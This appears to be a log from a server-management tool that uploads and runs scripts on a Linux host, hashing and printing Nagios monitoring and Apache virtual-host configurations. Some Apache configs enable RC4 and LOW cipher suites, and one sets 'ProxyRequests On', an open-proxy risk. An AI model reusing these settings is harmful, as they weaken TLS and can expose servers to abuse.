apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-11-27 13:20:08:
chmod 755 /tmp/pkp495704; /tmp/pkp495704; rm /tmp/pkp495704
2025-11-27 13:20:08:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php7.4 - server-side, HTML-embedded scripting language (metapackage)
2025-11-27 13:20:08:
PUT: /tmp/pkp906343
#!/bin/bash
dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-11-27 13:20:08:
chmod 755 /tmp/pkp906343; /tmp/pkp906343; rm /tmp/pkp906343
2025-11-27 13:20:08:
[php7.4]
php=/usr/bin/php7.4
fpm=/etc/php/7.4/fpm/pool.d
version=7.4.33
2025-11-27 13:20:08:
PUT: /tmp/pkp256157
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-27 13:20:08:
chmod 755 /tmp/pkp256157; /tmp/pkp256157; rm /tmp/pkp256157
2025-11-27 13:20:08:
2025-11-27 13:20:09:
PUT: /tmp/pkp453180
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/localhost.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-27 13:20:09:
chmod 755 /tmp/pkp453180; /tmp/pkp453180; rm /tmp/pkp453180
2025-11-27 13:20:09:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/localhost.cfg 14955
# Created automatically by PKP. Any manual changes will be lost
###############################################################################
# HOST DEFINITION
###############################################################################
define host {
use linux-server ; This definition will inherit all variables that are defined in (or inherited by) the host template.
host_name localhost
alias aries
address 127.0.0.1
}
###############################################################################
# SERVICE and COMMAND DEFINITIONS
###############################################################################
define service {
use local-service
host_name localhost
service_description PING
check_command 012e92238a0e7d3980db4ebc2ccd3067
check_interval 5
notification_interval 15
}
define command {
command_name 012e92238a0e7d3980db4ebc2ccd3067
command_line $USER1$/check_ping -H google.com -w 200,20% -c 500,40% -p 5 -4
}
define service {
use local-service
host_name localhost
service_description :hub
check_command 1041d81fee7b56e4dbe4540e1337f3f1
check_interval 1440
notification_interval 4320
}
define command {
command_name 1041d81fee7b56e4dbe4540e1337f3f1
command_line $USER1$/check_ssl_cert.php --host=pkp.pjy.us --port=1100 --warning=21 --critical=7
}
define service {
use local-service
host_name localhost
service_description :PJY
check_command 1ab8d2633c72585c91d2fba67402278f
check_interval 1440
notification_interval 4320
}
define command {
command_name 1ab8d2633c72585c91d2fba67402278f
command_line $USER1$/check_ssl_cert.php --host=pjy.us --port=443 --warning=21 --critical=7
}
define service {
use local-service
host_name localhost
service_description Reboot
check_command 1c1bb1702bfb3dd6b598e7184d0896e2
check_interval 60
notification_interval 180
}
define command {
command_name 1c1bb1702bfb3dd6b598e7184d0896e2
command_line $USER1$/check_file_exists -f /run/reboot-required -e
}
define service {
use local-service
host_name localhost
service_description Uptime
check_command 1ce411d2efcec6bbaf1494d37c29abe0
check_interval 60
notification_interval 180
}
define command {
command_name 1ce411d2efcec6bbaf1494d37c29abe0
command_line $USER1$/check_uptime
}
define service {
use local-service
host_name localhost
service_description _HOME
check_command 1ea94a3f66910fce5dd3ccadbd5a6e2e
check_interval 5
notification_interval 15
}
define command {
command_name 1ea94a3f66910fce5dd3ccadbd5a6e2e
command_line $USER1$/check_file_exists -f /mnt/home/.mounted
}
define service {
use local-service
host_name localhost
service_description _STOUGHTON
check_command 21754ee205f4ad566bda0dbdadc2f0bf
check_interval 5
notification_interval 15
}
define command {
command_name 21754ee205f4ad566bda0dbdadc2f0bf
command_line $USER1$/check_file_exists -f /mnt/stoughton/.mounted
}
define service {
use local-service
host_name localhost
service_description portal
check_command 221fe4d94590d6c388dac0d18a3929ac
}
define command {
command_name 221fe4d94590d6c388dac0d18a3929ac
command_line /usr/bin/php8.1 -q /var/www/pjy_pkp/public/index.php "uri=/~/nagios/execute/221fe4d94590d6c388dac0d18a3929ac"
}
define service {
use local-service
host_name localhost
service_description O/S Updates
check_command 25d334d0a62e3ee21cdd388b781b12ec
check_interval 1440
notification_interval 4320
retry_interval 60
}
define command {
command_name 25d334d0a62e3ee21cdd388b781b12ec
command_line sudo $USER1$/check_debian_packages
}
define service {
use local-service
host_name localhost
service_description Apache
check_command 2afb7ef3288eea810cb1250cfa21a980
check_interval 5
notification_interval 15
}
define command {
command_name 2afb7ef3288eea810cb1250cfa21a980
command_line $USER1$/check_service -s apache2
}
define service {
use local-service
host_name localhost
service_description Total Processes
check_command 2d7a9f286c178e06624231fbdde93b1e
}
define command {
command_name 2d7a9f286c178e06624231fbdde93b1e
command_line $USER1$/check_procs -w 250 -c 400
}
define service {
use local-service
host_name localhost
service_description :VOTE
check_command 340f02d7085c455de03033d03aea5391
check_interval 1440
notification_interval 4320
}
define command {
command_name 340f02d7085c455de03033d03aea5391
command_line $USER1$/check_ssl_cert.php --host=vote.hopeinstoughton.org --port=443 --warning=21 --critical=7
}
define service {
use local-service
host_name localhost
service_description Current Load
check_command 411a4c659194adc294dc149e34619601
}
define command {
command_name 411a4c659194adc294dc149e34619601
command_line $USER1$/check_load -w 5.0,4.0,3.0 -c 10.0,6.0,4.0
}
define service {
use local-service
host_name localhost
service_description Eggshell
check_command 41e933c41962c21d31e017b66e00028d
check_interval 5
notification_interval 15
}
define command {
command_name 41e933c41962c21d31e017b66e00028d
command_line $USER1$/check_service -s eggshell
}
define service {
use local-service
host_name localhost
service_description bind
check_command 457edd1577b09ecc256e8a149d1c8e1c
check_interval 5
notification_interval 15
}
define command {
command_name 457edd1577b09ecc256e8a149d1c8e1c
command_line $USER1$/check_service -s named
}
define service {
use local-service
host_name localhost
service_description :ay
check_command 5226c2c8934d9057808a60a95af9b27d
check_interval 1440
notification_interval 4320
}
define command {
command_name 5226c2c8934d9057808a60a95af9b27d
command_line $USER1$/check_ssl_cert.php --host=anitayoung.net --port=443 --warning=21 --critical=7
}
define service {
use local-service
host_name localhost
service_description :EGG
check_command 55be6b55dd84a7708b3ae9a49ec0ba8a
check_interval 1440
notification_interval 4320
}
define command {
command_name 55be6b55dd84a7708b3ae9a49ec0ba8a
command_line $USER1$/check_ssl_cert.php --host=eggshell.pjy.us --port=443 --warning=21 --critical=7
}
define service {
use local-service
host_name localhost
service_description :CDN3
check_command 64d51936cb3a4c3195671092981c4f5a
check_interval 1440
notification_interval 4320
}
define command {
command_name 64d51936cb3a4c3195671092981c4f5a
command_line $USER1$/check_ssl_cert.php --host=cdn3.hopeinstoughton.org --port=443 --warning=21 --critical=7
}
define service {
use local-service
host_name localhost
service_description Current Users
check_command 682eae54ff2107f7da9079fbe84efa0f
}
define command {
command_name 682eae54ff2107f7da9079fbe84efa0f
command_line $USER1$/check_users -w 10 -c 20
}
define service {
use local-service
host_name localhost
service_description Auto
check_command 6a821f23d1089c898f3bdc9d964a7433
check_interval 1440
notification_interval 4320
}
define command {
command_name 6a821f23d1089c898f3bdc9d964a7433
command_line $USER1$/check_autoupdate.php
}
define service {
use local-service
host_name localhost
service_description :CDN1
check_command 6dee009e5fc92ac20df9f190f6978c5e
check_interval 1440
notification_interval 4320
}
define command {
command_name 6dee009e5fc92ac20df9f190f6978c5e
command_line $USER1$/check_ssl_cert.php --host=cdn1.hopeinstoughton.org --port=443 --warning=21 --critical=7
}
define service {
use local-service
host_name localhost
service_description :HZ
check_command 75a83fe1dcfa87700c11d21e615b396d
check_interval 1440
notification_interval 4320
}
define command {
command_name 75a83fe1dcfa87700c11d21e615b396d
command_line $USER1$/check_ssl_cert.php --host=hostz.org --port=443 --warning=21 --critical=7
}
define service {
use local-service
host_name localhost
service_description :PKP
check_command 7754953c38f6c8dfe046b0bbfcb7364d
check_interval 1440
notification_interval 4320
}
define command {
command_name 7754953c38f6c8dfe046b0bbfcb7364d
command_line $USER1$/check_ssl_cert.php --host=pkp.pjy.us --port=443 --warning=21 --critical=7
}
define service {
use local-service
host_name localhost
service_description :PCO
check_command 77acb3401fa57566ec63fcbb37c93dfc
check_interval 1440
notification_interval 4320
}
define command {
command_name 77acb3401fa57566ec63fcbb37c93dfc
command_line $USER1$/check_ssl_cert.php --host=patientapps.co --port=443 --warning=21 --critical=7
}
define service {
use local-service
host_name localhost
service_description MariaDb
check_command 82011602d8d17d20128f7ceb15d3ce4d
check_interval 5
notification_interval 15
}
define command {
command_name 82011602d8d17d20128f7ceb15d3ce4d
command_line $USER1$/check_service -s mariadb
}
define service {
use local-service
host_name localhost
service_description :HiS
check_command 93f05704a67004ed1b1685341ff161df
check_interval 1440
notification_interval 4320
}
define command {
command_name 93f05704a67004ed1b1685341ff161df
command_line $USER1$/check_ssl_cert.php --host=hopeinstoughton.org --port=443 --warning=21 --critical=7
}
define service {
use local-service
host_name localhost
service_description Root Partition
check_command 9877b9432ca4dbb4e86333dc29b9ee4a
check_interval 5
notification_interval 15
}
define command {
command_name 9877b9432ca4dbb4e86333dc29b9ee4a
command_line $USER1$/check_disk -w 6 -c 3 -p / -u GB
}
define service {
use local-service
host_name localhost
service_description :aries
check_command 9f678e7d72b1c51d22c976489811af58
check_interval 1440
notification_interval 4320
}
define command {
command_name 9f678e7d72b1c51d22c976489811af58
command_line $USER1$/check_ssl_cert.php --host=aries.hostz.org --port=443 --warning=21 --critical=7
}
define service {
use local-service
host_name localhost
service_description :link
check_command b8192159359d67f0b476652dd6119f53
check_interval 1440
notification_interval 4320
}
define command {
command_name b8192159359d67f0b476652dd6119f53
command_line $USER1$/check_ssl_cert.php --host=stoughton.link --port=443 --warning=21 --critical=7
}
define service {
use local-service
host_name localhost
service_description :BETA
check_command bf0a9ce211a3b29e426ba39f511e8b99
check_interval 1440
notification_interval 4320
}
define command {
command_name bf0a9ce211a3b29e426ba39f511e8b99
command_line $USER1$/check_ssl_cert.php --host=beta.patientapps.net --port=443 --warning=21 --critical=7
}
define service {
use local-service
host_name localhost
service_description :TYD
check_command c542d08c484a926b3370d7afd1da02e5
check_interval 1440
notification_interval 4320
}
define command {
command_name c542d08c484a926b3370d7afd1da02e5
command_line $USER1$/check_ssl_cert.php --host=theyoungdesigners.us --port=443 --warning=21 --critical=7
}
define service {
use local-service
host_name localhost
service_description :CDN4
check_command c5abf59367fab730e1b68b9dd8492f6a
check_interval 1440
notification_interval 4320
}
define command {
command_name c5abf59367fab730e1b68b9dd8492f6a
command_line $USER1$/check_ssl_cert.php --host=cdn4.hopeinstoughton.org --port=443 --warning=21 --critical=7
}
define service {
use local-service
host_name localhost
service_description voip.ms
check_command d135d30158a503f30d3b1c3f3f6a90fc
}
define command {
command_name d135d30158a503f30d3b1c3f3f6a90fc
command_line /usr/bin/php8.1 -q /var/www/pjy_pkp/public/index.php "uri=/~/nagios/execute/d135d30158a503f30d3b1c3f3f6a90fc"
}
define service {
use local-service
host_name localhost
service_description :TYDc
check_command da9ea14c8cdb6f1077872421250bfe47
check_interval 1440
notification_interval 4320
}
define command {
command_name da9ea14c8cdb6f1077872421250bfe47
command_line $USER1$/check_ssl_cert.php --host=theyoungdesigners.com --port=443 --warning=21 --critical=7
}
define service {
use local-service
host_name localhost
service_description :kjd
check_command e310c6378eda916a3719542fc7cf30e8
check_interval 1440
notification_interval 4320
}
define command {
command_name e310c6378eda916a3719542fc7cf30e8
command_line $USER1$/check_ssl_cert.php --host=kjvdictionary.org --port=443 --warning=21 --critical=7
}
(gzipped output)
MD5(/usr/local/nagios/etc/objects/commands.cfg)= 01bde29e474c65888f3198db6533647f
MD5(/usr/local/nagios/etc/objects/contacts.cfg)= c5e045a98012465016e36602cd0f1eab
MD5(/usr/local/nagios/etc/objects/timeperiods.cfg)= 9e9c822c634255dbed808491e0089296
MD5(/usr/local/nagios/etc/objects/templates.cfg)= dc3266c6bb8ce169d7e6d194d7b1e72d
MD5(/usr/local/nagios/etc/objects/pkp.cfg)= 4342b5a6384f866613f3d6a8132a70e2
MD5(/usr/local/nagios/etc/objects/hostgroup.cfg)= 8fd8035105e240bc8631a4ed1a2baab7
MD5(/usr/local/nagios/etc/objects/localhost.cfg)= 1ed8753ee170fda2d6a1e91b181284e9
bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca
2025-11-27 13:20:09:
PUT: /tmp/pkp458900
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-11-27 13:20:09:
chmod 755 /tmp/pkp458900; /tmp/pkp458900; rm /tmp/pkp458900
2025-11-27 13:20:09:
status=ok
2025-11-27 13:20:09:
PUT: /tmp/pkp432155
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-27 13:20:09:
chmod 755 /tmp/pkp432155; /tmp/pkp432155; rm /tmp/pkp432155
2025-11-27 13:20:09:
2025-11-27 13:20:09:
PUT: /tmp/pkp540697
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/kjvdictionary_store_org.conf')
show_file('/etc/apache2/sites-available/pjy_eggshell_us.conf')
show_file('/etc/apache2/sites-available/pjy_city_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-27 13:20:09:
chmod 755 /tmp/pkp540697; /tmp/pkp540697; rm /tmp/pkp540697
2025-11-27 13:20:09:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/kjvdictionary_store_org.conf 521
<VirtualHost *:80>
ServerName store.kjvdictionary.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/kjvdictionary_store
<Directory /var/www/kjvdictionary_store>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/store_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/store_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_eggshell_us.conf 1750
<VirtualHost *:80>
ServerName eggshell.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_eggshell/public
<Directory /var/www/pjy_eggshell>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/eggshell_access.log combined
ErrorLog /var/log/apache2/pjy/eggshell_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
DirectoryIndex index.html index.htm index.php
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName eggshell.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
DocumentRoot /var/www/pjy_eggshell/public
<Directory /var/www/pjy_eggshell>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/eggshell_secure_access.log combined
ErrorLog /var/log/apache2/pjy/eggshell_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php
ProxyRequests On
RewriteEngine On
<Location /ws/>
ProxyPass ws://localhost:9514/
ProxyPassReverse ws://localhost:9514/
</Location>
<Location /wsx/>
ProxyPass http://localhost:9514/
ProxyPassReverse http://localhost:9514/
</Location>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_city_us.conf 1138
<VirtualHost *:80>
ServerName city.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_city
<Directory /var/www/pjy_city>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/city_access.log combined
ErrorLog /var/log/apache2/pjy/city_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName city.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/befbdf65f8b0e883e7b64e5aabdbb04f.crt
DocumentRoot /var/www/pjy_city
<Directory /var/www/pjy_city>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/city_secure_access.log combined
ErrorLog /var/log/apache2/pjy/city_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
(gzipped output)
MD5(/etc/apache2/ports.conf)= a961f23471d985c2b819b652b7f64321
MD5(/etc/apache2/apache2.conf)= 20589b50379161ebc8cb35f761af2646
MD5(/etc/apache2/sites-available/hostz_aries_org.conf)= 0bd3dd2627d170ec9a410582f882d78e
MD5(/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt)= d74b630863e2e28921691dd981b95809
MD5(/etc/apache2/sites-available/anitayoung_www_net.conf)= e8d22e10ba04c74b51c7fbb43b012dd7
MD5(/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt)= bfc13a47ba2cb7eb85974ef258005cd6
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf)= f8f473dab8edcf6a27fad719dd33754a
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt)= 998753e2cb33cab87d8cb0471a46db4b
MD5(/etc/apache2/sites-available/kjvdictionary_store_org.conf)= e8acbae52ee6a6765272ee0ba4abdc96
MD5(/etc/apache2/sites-available/pjy_www_us.conf)= ed3a548e48e9fe4e5d4db5f4e654ee32
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/pjy_pkp_us.conf)= f2501308d37d029c24d810be5def3b1d
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/patientapps_www_co.conf)= 8d6a0b016721c9b2001cf6b52f74ec22
MD5(/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt)= 961914e8ce9f9df4147aa40bc1a2f2e9
MD5(/etc/apache2/sites-available/stoughton_www_link.conf)= d46ead59c1c57938d17f3471cf098c01
MD5(/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt)= 36d5ac9d7d8eb03e759bcf8f8a2b813f
